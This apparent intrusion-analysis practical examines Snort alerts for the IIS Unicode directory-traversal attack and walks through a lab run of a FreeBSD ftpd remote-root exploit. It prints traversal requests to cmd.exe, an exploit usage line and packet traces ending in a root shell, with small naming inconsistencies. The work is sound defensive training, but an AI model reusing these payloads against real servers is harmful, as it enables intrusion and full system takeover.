9. Defensive recommendation:

I will recommend to place a filtering device like a firewall or router as the perimeter defense and make sure if appropriate rules are applied. If it is necessary to allow ftp connections from the inside to the outside, make sure that this filtering device will recognize traffic which are the replies triggered by stimulus traffic from the inside so that any stimulus packet with ftp source port coming from the outside similar to the above traces will be denied. If the target is a Unix machine, installing TCP_WRAPPERS and IPCHAINS will help a lot.

10. Multiple choice test question:

Which statement below is the most wrong regarding ftp packet with source port 21?

a. The source address must have a ftp server running
b. There might be an evidence of packet crafting activity
c. The source address must be from an ftp client
d. The destination address must be an ftp client

Answer: C

```
[**] spp_http_decode: IIS Unicode attack detected [**]
04/12-05:44:29.537613 213.121.247.193:61522 -> x.x.x.23:80
TCP TTL:41 TOS:0x0 ID:2938 IpLen:20 DgmLen:289 DF
***AP*** Seq: 0xEF818D34  Ack: 0x844F3E92  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 15433327 0
47 45 54 20 2F 6D 73 61 64 63 2F 2E 2E 25 63 30          GET /msadc/..%c0
25 61 66 2E 2E 2F 2E 2E 25 63 30 25 61 66 2E 2E          %af../..%c0%af..
2F 2E 2E 25 63 30 25 61 66 2E 2E 2F 77 69 6E 6E          /..%c0%af../winn
74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65          t/system32/cmd.e
78 65 3F 2F 63 2B 64 69 72 2B 63 3A 5C 20 48 54          xe?/c+dir+c:\ HT
```

```
54 50 2F 31 2E 30 0D 0A 56 69 61 3A 20 31 2E 30          TP/1.0..Via: 1.0
20 50 72 6F 78 79 3A 33 31 32 38 20 28 53 71 75          Proxy:3128 (Squ
69 64 2F 32 2E 33 2E 53 54 41 42 4C 45 31 29 0D          id/2.3.STABLE1).
0A 58 2D 46 6F 72 77 61 72 64 65 64 2D 46 6F 72          .X-Forwarded-For
3A 20 36 32 2E 34 31 2E 33 38 2E 31 30 0D 0A 48          : 62.41.38.10..H
6F 73 74 3A 20 31 34 30 2E 31 37 38 2E 33 33 2E          ost: x.x.x.
32 33 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F          23..Cache-Contro
6C 3A 20 6D 61 78 2D 61 67 65 3D 32 35 39 32 30          l: max-age=25920
30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 6B          0..Connection: k
65 65 70 2D 61 6C 69 76 65 0D 0A 0D 0A                   eep-alive....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] spp_http_decode: IIS Unicode attack detected [**]
04/12-05:44:29.589223 213.121.247.193:61528 -> x.x.x.23:80
TCP TTL:39 TOS:0x0 ID:2943 IpLen:20 DgmLen:292 DF
***AP*** Seq: 0xEFCCA502  Ack: 0x8450CA83  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 15433329 0
47 45 54 20 2F 5F 76 74 69 5F 62 69 6E 2F 2E 2E          GET /_vti_bin/..
25 63 30 25 61 66 2E 2E 2F 2E 2E 25 63 30 25 61          %c0%af../..%c0%a
66 2E 2E 2F 2E 2E 25 63 30 25 61 66 2E 2E 2F 77          f../..%c0%af../w
69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D          innt/system32/cm
64 2E 65 78 65 3F 2F 63 2B 64 69 72 2B 63 3A 5C          d.exe?/c+dir+c:\
20 48 54 54 50 2F 31 2E 30 0D 0A 56 69 61 3A 20          HTTP/1.0..Via:
31 2E 30 20 50 72 6F 78 79 3A 33 31 32 38 20 28          1.0 Proxy:3128 (
53 71 75 69 64 2F 32 2E 33 2E 53 54 41 42 4C 45          1)..X-Forwarded-
46 6F 72 3A 20 36 32 2E 34 31 2E 33 38 2E 31 30          ..Host: x.x.
33 33 2E 32 33 0D 0A 43 61 63 68 65 2D 43 6F 6E          x.23..Cache-Con
74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D 32 35          trol: max-age=25
39 32 30 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E          9200..Connection
3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 0D 0A          : keep-alive....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] spp_http_decode: IIS Unicode attack detected [**]
04/12-05:44:30.335189 213.121.247.193:61550 -> x.x.x.23:80
TCP TTL:41 TOS:0x0 ID:3033 IpLen:20 DgmLen:296 DF
***AP*** Seq: 0xEFD1578B  Ack: 0x84617566  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 15433377 0
47 45 54 20 2F 69 69 73 61 64 6D 70 77 64 2F 2E          GET /iisadmpwd/.
2E 25 63 30 25 61 66 2E 2E 2F 2E 2E 25 63 30 25          .%c0%af../..%c0%
61 66 2E 2E 2F 2E 2E 25 63 30 25 61 66 2E 2E 2F          af../..%c0%af../
77 69 6E 6E 74 33 35 31 2F 73 79 73 74 65 6D 33          winnt351/system3
32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64 69 72          2/cmd.exe?/c+dir
2B 63 3A 5C 20 48 54 54 50 2F 31 2E 30 0D 0A 56          +c:\ HTTP/1.0..V
69 61 3A 20 31 2E 30 20 50 72 6F 78 79 3A 33 31          ia: 1.0 Proxy:31
32 38 20 28 53 71 75 69 64 2F 32 2E 33 2E 53 54          28 (Squid/2.3.ST
41 42 4C 45 31 29 0D 0A 58 2D 46 6F 72 77 61 72          ABLE1)..X-Forwar
64 65 64 2D 46 6F 72 3A 20 36 32 2E 34 31 2E 33          ded-For: 62.41.3
38 2E 31 30 0D 0A 48 6F 73 74 3A 20 31 34 30 2E          8.10..Host: x.
31 37 38 2E 33 33 2E 32 33 0D 0A 43 61 63 68 65          x.x.23..Cache
2D 43 6F 6E 74 72 6F 6C 3A 20 6D 61 78 2D 61 67          -Control: max-ag
65 3D 32 35 39 32 30 30 0D 0A 43 6F 6E 6E 65 63          e=259200..Connec
74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 76 65          tion: keep-alive
```

```
0D 0A 0D 0A                              ....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

1. Source of Trace:

The traces above are from http://www.sans.org/y2k/041901.htm

2. Detect was generated by:

It seemed that the traces above are generated by Snort intrusion Detection System

[**] spp_http_decode: IIS Unicode attack detected [**]{Messages}
04/12{Date}**-05:44:29.537613**{Time} **213.121.247.193**{Source-address}**:61522** {Source-port} **-> x.x.x.23**{Destination-port}**:80**{Destination port}
TCP{Transport protocol} **TTL:41**{Time to live} **TOS:0x0**{Type of service} **ID:2938**{ IP id } **IpLen:20**{IP header length}
DgmLen:289{Datagram lengh} **DF**{Don't fragment bit}
*****AP***** {TCP flag}**Seq: 0xEF818D34**{TCP sequence number} **Ack: 0x844F3E92**{Acknowledgment number}
Win: 0x7D78{Windows size} **TcpLen: 32**{TCP length}
TCP Options (3) => NOP NOP{No options}

According to snort FAQ (http://www.snort.org/faq.html), this alert was part of the snort http preprocessor too.

3. Probability the source address was spoofed:

The probability is low. It seemed that the attacker was trying to list a directory on target system. He or she will not get the reply if the source address was spoofed.

4. Description of attack:

Microsoft IIS is quite a buggy application. There are many vulnerabilities regarding this application. So the first thing I do is try to determine which vulnerability was shown by the above traces. I search through http://www.securityfocus.com and find out that this was " Microsoft IIS Extended Unicode Directory Traversal Vulnerability ". If the attack was successful, a remote attacker will be able to execute any arbitrary command on the target machine.

There is 1 CVE entries regarding this attack,

CVE-2000-0884

This Attack has been reported on bugtraq with ID number 1806, which is available at:
http://www.securityfocus.com/bid/1806

5. Attack Mechanism:

The Attack was done by using extended Unicode characters representations in substitution for " / " and " \ " in a web request. Using this kind of request, an unauthenticated user may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed.

In this case, the web request attack format is look like this:

```
http://target.machine/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32
/cmd.exe?/c+dir+c:\ ------any arbitrary command the attacker want to execute---------
```

The directory names used for scripts are "_vti_bin" , "iisadmpwd", and " msadc ".

From above traces, the web request sent by the attacker is as follows:

GET /iisadmpwd/..**%c0%af**../..**%c0%af**../..**%c0%af**../winnt351/system32/cmd.exe?/c+dir+**c:\** HTTP/1.0..Via: 1.0 **Proxy:3128** (**Squid**/2.3.STABLE1)..**X-Forwarded-For: 62.41.38.10**..Host: **x.x.x.23**..Cache-Control: max-age=259200..Connection: keep-alive

It seemed that the attacker was trying to cover his or her trace by using a **Squid** proxy server to send the web request and tries to list a directory labeled "**c:\**" on the target system. So in this case the attacker real IP address will be "**62.41.38.10**" which is coming from Iran, and the squid proxy server address will be "**213.121.247.193**" which is coming from England.

6. Correlations:

There are papers describing more details about this vulnerability including the source code to launch this attack, which is available at:
http://www.securiteam.com/exploits/Additional_details_about_the_IIS_remote_execution_vulnerability.html
http://www.securiteam.com/windowsntfocus/Web_Server_Folder_Traversal_vulnerability__Patch_available__exploit_.html

7. Evidence of active targeting:

Yes, this attacker seemed to try to compromise a host running Microsoft IIS as the web server.

8. Severity:

Criticality = 4
I choose this value, because the attacker was attacking a web server
Lethality = 5

If the attack was successful, the attacker will be able to execute any arbitrary command on the target machine.

System countermeasure = 3

I give this value because I assume that default installation files and directories like " msadc " or " iisadmpwd " which was used on this traces are exist on the victim host running IIS.

Network countermeasure = 3

I give this value because I assume that a filtering device like router or firewall was installed, but this filtering device is allowing HTTP traffic. So this kind of attack will not be blocked.

Severity = (Criticality + Lethality) - (System + Network Countermeasures)

= (4 + 5) – (3 + 3)
= 3

9. Defensive recommendation:

I will recommend to installs the latest patches from vendor, and the other effective way to avoid this kind of attack is to delete all the unused default installation files on the system running Microsoft IIS. The attack will not work if any files or directories like "_vti_bin " or " msadc " doesn't exist in the target machine.

10. Multiple choice test question:

```
47 45 54 20 2F 6D 73 61 64 63 2F 2E 2E 25 63 30      GET /msadc/..%c0
25 61 66 2E 2E 2F 2E 2E 25 63 30 25 61 66 2E 2E      %af../..%c0%af..
2F 2E 2E 25 63 30 25 61 66 2E 2E 2F 77 69 6E 6E      /..%c0%af../winn
74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65      t/system32/cmd.e
78 65 3F 2F 63 2B 64 69 72 2B 63 3A 5C 20 48 54      xe?/c+dir+c:\ HT
```

The Unicode characters " %c0%af " from the above traces translates to:

a. \
b. /
c. |
d. :

Answer: b

ASSIGNMENT #2

"Evaluate an Attack"

[FreeBSD ftpd remote root exploits using fbsdftp-ex.c exploit code]

Description of attack

I'll be demonstrating FreeBSD ftpd remote vulnerability. The exploit code used for this attack was downloaded from http://ns2.crw.se/~tm. This attack is launch remotely against a FreeBSD machine with a running ftp daemon. This attack requires a local user account on target machine. Using a remote buffer overflow on a remote FreeBSD machine running an ftp daemon, this tool allow a remote attacker to gain root access.

The version of FreeBSD distributions that is known vulnerable to this vulnerability according to bugtraq are:

FreeBSD 4.2	FreeBSD 4.1.1
FreeBSD 4.1	FreeBSD 4.0
FreeBSD 3.5.1	FreeBSD 3.5
FreeBSD 3.4	FreeBSD 3.3
FreeBSD 3.2	FreeBSD 3.1
FreeBSD 3.0	FreeBSD 2.2.8
FreeBSD 2.2.6	FreeBSD 2.2.5
FreeBSD 2.2.4	FreeBSD 2.2.3
FreeBSD 2.2.2	FreeBSD 2.2

" Tracing the attack " scenario

I am using two machines to trace this attack. One is a Linux RedHat7.0 machine, which I will refer as "attacker machine", and the other is a FreeBSD4.2 machine, which I will refer as " target machine ". I compile the " fbsdftp-ex.c " code in my Linux machine, and make sure that a default installation ftp daemon is running on the FreeBSD machine. As mention above, this attack need to have a local user account on the remote FreeBSD machine, so I create a local user account on FreeBSD machine with username " roy " and with the password " pass123 ". User " roy " will have default permission as a local user, which is set by FreeBSD system once it created the user account.

To trace the attack, I use this tcpdump format on my Linux machine to capture traffic between those machines:

```
Linux# tcpdump –i eth0 –w fbsdftp-ex.log port 21
```

-i	→	tcpdump options to define an interface to listening to
eth0	→	the interface which tcpdump listening to
-w	→	tcpdump options to write the log to a file
fbsdftp-ex.log	→	log file name
port 21	→	tcpdump filter, which instruct the tcpdump program to capture only ftp traffic

Then I use the format below to output the tcpdump hex format into readable ASCII format using a " tcpdump2ascii " program, which can be obtained at http://www.bogus.net/~codex/
These tools really help me to watch the traffic data during the attack occurred.

```
Linux# tcpdump –x –r fbsdftp-ex.log | tcpdump2ascii > fbsdftp-ex.ascii
```

-r	→	read tcpdump log format
-x	→	tcpdump options to output the log format in hex
fbsdftp-ex.ascii	→	log file in ASCII

Fbsdftp-ex.c support several platforms of FreeBSD , they are :

```
type  0   →   FreeBSD 4.2R ftpd default installation
type  1   →   FreeBSD 4.2R ftpd compiled with -ggdb
type  2   →   FreeBSD 4.2S as of Sept 2000
```

In this scenario I'm using " FreeBSD 4.2R ftpd default installation " which is type 0.

To launch the attack I used this command format :

```
Linux# fbsdftp-ex.c -t 0 -c -v FreeBSD.address naldo pass123
```

I will explain fbsdftp-ex.c command format at the " attack analysis " section below.

Trace of the attack

First the three way handshake:

```
13:46:07.031112 > LINUX.1040 > FreeBSD.ftp: S 2520851357:2520851357(0) win 32120 <mss 1460,sackOK,timestamp 87199
0,nop,wscale 0> (DF)
13:46:07.031700 < FreeBSD.ftp > LINUX.1040: S 2961868735:2961868735(0) ack 2520851358 win 17520 <mss 1460> (DF)
13:46:07.031741 > LINUX.1040 > FreeBSD.ftp: . 1:1(0) ack 1 win 32120 (DF)
```

Then the normal ftp authentication occur, the attacker simply type the username and password on the target machine and log on as a local user. :

```
13:46:07.039252 > LINUX.1040 > FreeBSD.ftp: P 1:13(12) ack 53 win 32120 (DF)
4500 0034 0189 4000 4006 b472 c0a8 01b5  | E . . 4 . . @ . @ . . r . . . .
c0a8 01c3 0410 0015 9641 239e b08a 87f4  | . . . . . . . . . A # . . . . .
5018 7d78 2902 0000 5553 4552 206e 616c  | P . . x ) . . . U S E R  n a l
646f 0d0a ---- ---- ---- ---- ---- ----  | d o \r\n. . . . . . . . . . .


13:46:07.040333 < FreeBSD.ftp > LINUX.1040: P 53:87(34) ack 13 win 17520 (DF) [tos 0x10]
4510 004a 04e0 4000 4006 b0f5 c0a8 01c3  | E . . J . . @ . @ . . . . . . .
c0a8 01b5 0015 0410 b08a 87f4 9641 23aa  | . . . . . . . . . . . . . A # .
5018 4470 dc84 0000 3333 3120 5061 7373  | P . D p . . . . 3 3 1  P a s s
776f 7264 2072 6571 7569 7265 6420 666f  | w o r d  r e q u i r e d  f o
7220 6e61 6c64 6f2e 0d0a ---- ---- ----  | r  n a l d o . \r\n. . . . . .


13:46:07.040376 > LINUX.1040 > FreeBSD.ftp: P 13:27(14) ack 87 win 32120 (DF)
4500 0036 018a 4000 4006 b46f c0a8 01b5  | E . . 6 . . @ . @ . . o . . . .
c0a8 01c3 0410 0015 9641 23aa b08a 8816  | . . . . . . . . . A # . . . . .
5018 7d78 dee4 0000 5041 5353 2070 6173  | P . . x . . . . P A S S  p a s
7331 3233 0d0a ---- ---- ---- ---- ----  | s 1 2 3 \r\n. . . . . . . . .


13:46:07.044775 < FreeBSD.ftp > LINUX.1040: P 87:114(27) ack 27 win 17520 (DF) [tos 0x10]
4510 0043 04e1 4000 4006 b0fb c0a8 01c3  | E . . C . . @ . @ . . . . . . .
c0a8 01b5 0015 0410 b08a 8816 9641 23b8  | . . . . . . . . . . . . . A # .
5018 4470 ef60 0000 3233 3020 5573 6572  | P . D p . ` . . 2 3 0  U s e r
206e 616c 646f 206c 6f67 6765 6420 696e  |  n a l d o  l o g g e d  i n
2e0d 0a-- ---- ---- ---- ---- ---- ----  | . \r\n. . . . . . . . . . . .
```

This is where things start to differ from a normal FTP transfer. The Attacker start trying to gain root access by making a long directory name on the user home directory on the target machine:

```
13:46:08.043324 > LINUX.1040 > FreeBSD.ftp: P 34:79(45) ack 143 win 32120 (DF)
4500 0055 018d 4000 4006 b44d c0a8 01b5  | E . . U . . @ . @ . . M . . . .
```

```
c0a8 01c3 0410 0015 9641 23bf b08a 884e   | . . . . . . . . . A # . . . . N
5018 7d78 d9e8 0000 4d4b 4420 4343 4343  | P . . x . . . . M K D   C C C C
4343 4343 4343 4343 4343 4343 4343 4343  | C C C C C C C C C C C C C C C C C C
4343 4343 4343 4343 4343 4343 4343 4343  | C C C C C C C C C C C C C C C C C C
4343 430d 0a-- ---- ---- ---- ---- ----             | C C C \r\n. . . . . . . . . . .
```

Then the Attacker get into the long named directory just created:

```
13:46:08.044158 > LINUX.1040 > FreeBSD.ftp: P 79:124(45) ack 202 win 32120 (DF)
4500 0055 018e 4000 4006 b44c c0a8 01b5  | E . . U . . @ . @ . . L . . . .
c0a8 01c3 0410 0015 9641 23ec b08a 8889  | . . . . . . . . . A # . . . . .
5018 7d78 e374 0000 4357 4420 4343 4343  | P . . x . t . . C W D   C C C C
4343 4343 4343 4343 4343 4343 4343 4343  | C C C C C C C C C C C C C C C C C C
4343 4343 4343 4343 4343 4343 4343 4343  | C C C C C C C C C C C C C C C C C C
4343 430d 0a-- ---- ---- ---- ---- ----             | C C C \r\n. . . . . . . . . . .
```

Then another long name directory was created inside the previous long name directory the Attacker just created.

```
13:46:08.046969 > LINUX.1040 > FreeBSD.ftp: P 542:587(45) ack 483 win 32120 (DF)
4500 0055 0191 4000 4006 b449 c0a8 01b5  | E . . U . . @ . @ . . I . . . .
c0a8 01c3 0410 0015 9641 25bb b08a 89a2  | . . . . . . . . . A % . . . . .
5018 7d78 ae72 0000 4d4b 4420 4545 4545  | P . . x . r . . M K D   E E E E
4545 4545 4545 4545 4545 4545 4545 4545  | E E E E E E E E E E E E E E E E E E
4545 4545 4545 4545 4545 4545 4545 4545  | E E E E E E E E E E E E E E E E E E
4545 450d 0a-- ---- ---- ---- ---- ----             | E E E \r\n. . . . . . . . . . .
```

Then the attacker simply repeating this actions for several times, creating a long name directory using single alphabet characters from " **C** " – " **Z** ", " **[**", and " \ ".

```
13:46:08.047752 > LINUX.1040 > FreeBSD.ftp: P 587:632(45) ack 542 win 32120 (DF)
4500 0055 0192 4000 4006 b448 c0a8 01b5  | E . . U . . @ . @ . . H . . . .
c0a8 01c3 0410 0015 9641 25e8 b08a 89dd  | . . . . . . . . . A % . . . . .
5018 7d78 b7fe 0000 4357 4420 4545 4545   | P . . x . . . . C W D   E E E E
4545 4545 4545 4545 4545 4545 4545 4545  | E E E E E E E E E E E E E E E E E E
4545 4545 4545 4545 4545 4545 4545 4545  | E E E E E E E E E E E E E E E E E E
4545 450d 0a-- ---- ---- ---- ---- ----             | E E E \r\n. . . . . . . . . . .


13:46:08.048499 > LINUX.1040 > FreeBSD.ftp: P 632:677(45) ack 571 win 32120 (DF)
4500 0055 0193 4000 4006 b447 c0a8 01b5  | E . . U . . @ . @ . . G . . . .
c0a8 01c3 0410 0015 9641 2615 b08a 89fa  | . . . . . . . . . A & . . . . .
5018 7d78 99ad 0000 4d4b 4420 4646 4646  | P . . x . . . . M K D   F F F F
4646 4646 4646 4646 4646 4646 4646 4646  | F F F F F F F F F F F F F F F F F F
4646 4646 4646 4646 4646 4646 4646 4646  | F F F F F F F F F F F F F F F F F F
4646 460d 0a-- ---- ---- ---- ---- ----             | F F F \r\n. . . . . . . . . . .
```

```
13:46:08.049285 > LINUX.1040 > FreeBSD.ftp: P 677:722(45) ack 630 win 32120 (DF)
4500 0055 0194 4000 4006 b446 c0a8 01b5  |  E . . U . . @ . @ . . F . . . .
c0a8 01c3 0410 0015 9641 2642 b08a 8a35   |  . . . . . . . . . A & B . . . 5
5018 7d78 a339 0000 4357 4420 4646 4646  |  P . . x . 9 . . C W D   F F F F
4646 4646 4646 4646 4646 4646 4646 4646  |  F F F F F F F F F F F F F F F F
4646 4646 4646 4646 4646 4646 4646 4646  |  F F F F F F F F F F F F F F F F
4646 460d 0a-- ---- ---- ---- ---- ----               |  F F F \r\n. . . . . . . . . . .
```

------- and so on… I don't think it is necessary to put all the traces here ---------

The last three long name directories created by the Attacker are below:

```
13:46:08.229887 > LINUX.1040 > FreeBSD.ftp: P 2434:2479(45) ack 2271 win 32120 (DF)
4500 0055 01bb 4000 4006 b41f c0a8 01b5  |  E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2d1f b08a 909e   |  . . . . . . . . . A - . . . . .
5018 7d78 fa81 0000 4d4b 4420 5a5a 5a5a   |  P . . x . . . . M K D   Z Z Z Z
5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a      |  Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a      |  Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
5a5a 5a0d 0a-- ---- ---- ---- ---- ----               |  Z Z Z \r\n. . . . . . . . . . .


13:46:08.288226 > LINUX.1040 > FreeBSD.ftp: P 2479:2524(45) ack 2300 win 32120 (DF)
4500 0055 01bc 4000 4006 b41e c0a8 01b5   |  E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2d4c b08a 90bb   |  . . . . . . . . . A - L . . . .
5018 7d78 042c 0000 4357 4420 5a5a 5a5a   |  P . . x . , . . C W D   Z Z Z Z
5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a      |  Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a 5a5a      |  Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z Z
5a5a 5a0d 0a-- ---- ---- ---- ---- ----               |  Z Z Z \r\n. . . . . . . . . . .


13:46:08.309209 > LINUX.1040 > FreeBSD.ftp: P 2524:2569(45) ack 2329 win 32120 (DF)
4500 0055 01bd 4000 4006 b41d c0a8 01b5   |  E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2d79 b08a 90d8   |  . . . . . . . . . A - y . . . .
5018 7d78 e5da 0000 4d4b 4420 5b5b 5b5b   |  P . . x . . . . M K D   [ [ [ [
5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b   |  [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [
5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b   |  [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [
5b5b 5b0d 0a-- ---- ---- ---- ---- ----               |  [ [ [ \r\n. . . . . . . . . . .


13:46:08.361599 > LINUX.1040 > FreeBSD.ftp: P 2569:2614(45) ack 2358 win 32120 (DF)
4500 0055 01be 4000 4006 b41c c0a8 01b5   |  E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2da6 b08a 90f5    |  . . . . . . . . . A - . . . . .
5018 7d78 ef84 0000 4357 4420 5b5b 5b5b   |  P . . x . . . . C W D   [ [ [ [
5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b  |  [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [
5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b 5b5b  |  [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [
5b5b 5b0d 0a-- ---- ---- ---- ---- ----               |  [ [ [ \r\n. . . . . . . . . . .
```

```
13:46:08.377081 > LINUX.1040 > FreeBSD.ftp: P 2614:2659(45) ack 2387 win 32120 (DF)
4500 0055 01bf 4000 4006 b41b c0a8 01b5   | E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2dd3 b08a 9112   | . . . . . . . . . A - . . . . .
5018 7d78 d133 0000 4d4b 4420 5c5c 5c5c   | P . . x . 3 . . M K D  \ \ \ \
5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c   | \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c   | \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
5c5c 5c0d 0a-- ---- ---- ---- ---- ----   | \ \ \ \r\n. . . . . . . . . . .


13:46:08.427556 > LINUX.1040 > FreeBSD.ftp: P 2659:2704(45) ack 2416 win 32120 (DF)
4500 0055 01c0 4000 4006 b41a c0a8 01b5  | E . . U . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2e00 b08a 912f  | . . . . . . . . . A . . . . . /
5018 7d78 dadd 0000 4357 4420 5c5c 5c5c  | P . . x . . . . C W D  \ \ \ \
5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c  | \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c 5c5c  | \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
5c5c 5c0d 0a-- ---- ---- ---- ---- ----  | \ \ \ \r\n. . . . . . . . . . .
```

The last packets sent by the Attacker are:

```
13:46:08.451413 > LINUX.1040 > FreeBSD.ftp: P 2711:2822(111) ack 2474 win 32120 (DF)
4500 0097 01c2 4000 4006 b3d6 c0a8 01b5   | E . . . . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2e34 b08a 9169   | . . . . . . . . . A . 4 . . . i
5018 7d78 391b 0000 5354 4154 2043 4343   | P . . x 9 . . . S T A T  C C C
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f   | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f   | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f   | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f   | * / * / * / * / * / * / * / * /
2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f 2a2f   | * / * / * / * / * / * / * / * /
2a2f ---- ---- ---- ---- ---- ---- ----   | * / . . . . . . . . . . . . . .
```

Then to make sure that the attacker already have a remote shell with root privileges, fbsdftp-ex.c then simply send a “ /usr/bin/id “ command to the target machine:

```
13:46:08.544495 > LINUX.1040 > FreeBSD.ftp: P 2822:2893(71) ack 2474 win 32120 (DF)
4500 006f 01c3 4000 4006 b3fd c0a8 01b5   | E . . o . . @ . @ . . . . . . .
c0a8 01c3 0410 0015 9641 2ea3 b08a 9169  | . . . . . . . . . A . . . . . i
5018 7d78 02d5 0000 6563 686f 2027 5b2b  | P . . x . . . . e c h o  ' [ +
5d20 4966 2079 6f75 2063 616e 2073 6565  | ]  I f  y o u  c a n  s e e
2074 6869 7320 6c69 6e65 2079 6f75 2068  |  t h i s  l i n e  y o u  h
6176 6520 6120 7368 656c 6c20 5b2b 5d27  | a v e  a  s h e l l  [ + ] '
203b 202f 7573 722f 6269 6e2f 6964 0a--  |  ;  / u s r / b i n / i d \n.
```

And the target machine reply with the user id of the Attacker, which is root. :

```
3:46:08.547380 < FreeBSD.ftp > LINUX.1040: P 2524:2571(47) ack 2893 win 17520 (DF) [tos 0x10]
4510 0057 051a 4000 4006 b0ae c0a8 01c3  | E . . W . . @ . @ . . . . . . .
c0a8 01b5 0015 0410 b08a 919b 9641 2eea  | . . . . . . . . . . . . . A . .
```

```
5018 4470 47d4 0000 7569 643d 3028 726f  | P . D p G . . . u i d = 0 ( r o
6f74 2920 6769 643d 3130 3031 286e 616c  | o t )  g i d = 1 0 0 1 ( n a l
646f 2920 6772 6f75 7073 3d31 3030 3128  | d o )  g r o u p s = 1 0 0 1 (
6e61 6c64 6f29 0a-- ---- ---- ---- ----  | n a l d o ) \n. . . . . . . . .
```

At this stage the Attacker has assured to have a remote shell with root privileges.

Attack analysis

Tools usage:

```
./fbsdftp-ex [-t <num>] [-c] [-v] <ftphost> <ftpuser> <ftppass>
```

-t	→	type number as described previously
-c	→	create a bunch of long name directories on the target machine
-v	→	verbose mode
ftphost	→	address of the target machine
ftpuser	→	local user account on target machine
ftppass	→	password for the user account mentioned previously.

When watching the traffic pattern while the attacker machine trying to make several long name directories with single characters on the target machine, there was one pattern really attracted me. It was:

```
13:46:08.077926 > LINUX.1040 > FreeBSD.ftp: P 2252:2298(46) ack 2155 win 32120 (DF)
4500 0056 01b7 4000 4006 b422 c0a8 01b5 |  E . . V . . @ . @ . . " . . . .
c0a8 01c3 0410 0015 9641 2c69 b08a 902a |  . . . . . . . . . A , i . . . *
5018 7d78 e37c 0000 4d4b 4420 10a4 bfbf  | P . . x . . . . M K D   . . . .
10a4 bfbf 10a4 bfbf 10a4 bfbf 10a4 bfbf     | . . . . . . . . . . . . . . . .
10a4 bfbf 10a4 bfbf 10a4 bfbf 10a4 bfbf     | . . . . . . . . . . . . . . . .
10a4 bfbf 0d0a ---- ---- ---- ---- ----       | . . . . \r\n. . . . . . . . . .

13:46:08.129951 > LINUX.1040 > FreeBSD.ftp: P 2298:2344(46) ack 2184 win 32120 (DF)
4500 0056 01b8 4000 4006 b421 c0a8 01b5  | E . . V . . @ . @ . . ! . . . .
c0a8 01c3 0410 0015 9641 2c97 b08a 9047   | . . . . . . . . . A , . . . . G
5018 7d78 ed25 0000 4357 4420 10a4 bfbf   | P . . x . % . . C W D   . . . .
10a4 bfbf 10a4 bfbf 10a4 bfbf 10a4 bfbf      | . . . . . . . . . . . . . . . .
10a4 bfbf 10a4 bfbf 10a4 bfbf 10a4 bfbf      | . . . . . . . . . . . . . . . .
10a4 bfbf 0d0a ---- ---- ---- ---- ----        | . . . . \r\n. . . . . . . . . .
```

